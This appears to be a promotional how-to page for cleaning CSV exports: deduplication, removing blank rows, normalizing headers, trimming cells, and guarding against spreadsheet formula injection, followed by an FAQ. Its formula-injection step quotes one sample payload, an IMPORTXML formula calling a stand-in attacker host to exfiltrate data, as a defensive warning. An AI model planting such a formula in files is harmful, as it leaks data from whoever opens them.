Step 1 - Open your CSV and spot the problems
Before touching the data, know what you are looking for. The four most common issues in exported CSVs are: duplicate rows from double-submitted forms, blank lines from filtered exports, mismatched headers like "Order ID" versus "order_id", and cells with stray whitespace that breaks lookups.
Open the file in a text editor or a spreadsheet and scroll through the first few hundred rows. Count how often each issue shows up - that tells you which cleanup options actually matter for this file.
Step 2 - Deduplicate and drop empty rows
- Load the CSV into a cleaning tool (CSVTrust does this entirely in your browser).
- Enable exact-row deduplication: rows whose full content matches after trimming are collapsed into one.
- Enable removal of empty rows so trailing blank lines from a filtered export disappear.
- Review the change report before downloading - the report should tell you exactly how many duplicates and empty rows were removed.
Step 3 - Normalize headers and trim cells
Inconsistent headers are the number one cause of broken lookups and joins. Normalize them to one convention - lowercase with underscores or hyphens - and make sure every cell is trimmed of leading and trailing spaces.
This step matters more than it looks: a single invisible space in a product ID makes VLOOKUP fail on a cell you cannot see the problem in.
Step 4 - Guard against formula injection
Any CSV cell that starts with =, +, -, or @ is interpreted as a formula when the file is opened in Excel or Google Sheets. A cell like =IMPORTXML("https://attacker.test", ...) can exfiltrate data the moment someone opens the file.
Run every third-party CSV through a formula guard before it touches a spreadsheet. This is the step most people skip - and the one that matters most for files you did not generate yourself.
Clean, dedupe, and de-risk CSV exports
Frequently asked questions
How do I remove duplicate rows from a CSV?
Open the CSV in a cleaning tool and enable exact-row deduplication. Rows whose full content matches after trimming are collapsed into one, and the change report shows how many were removed.
Why does my CSV have blank rows?
Blank rows usually come from filtered exports, pasted ranges that include empty cells, or tools that append a trailing empty line. They are harmless to read but break scripts that assume every line is a record - remove them during cleanup.
What is CSV formula injection?
Spreadsheets treat cells starting with =, +, -, or @ as formulas. A malicious CSV can use this to run functions when opened. Cleaning tools escape those leading characters so the content stays plain text.
Is uploading my CSV to a cleaning site safe?
If the file contains customer data, treat it like a document you would not email to a stranger. Tools like CSVTrust process the file entirely in your browser, so nothing is uploaded at all.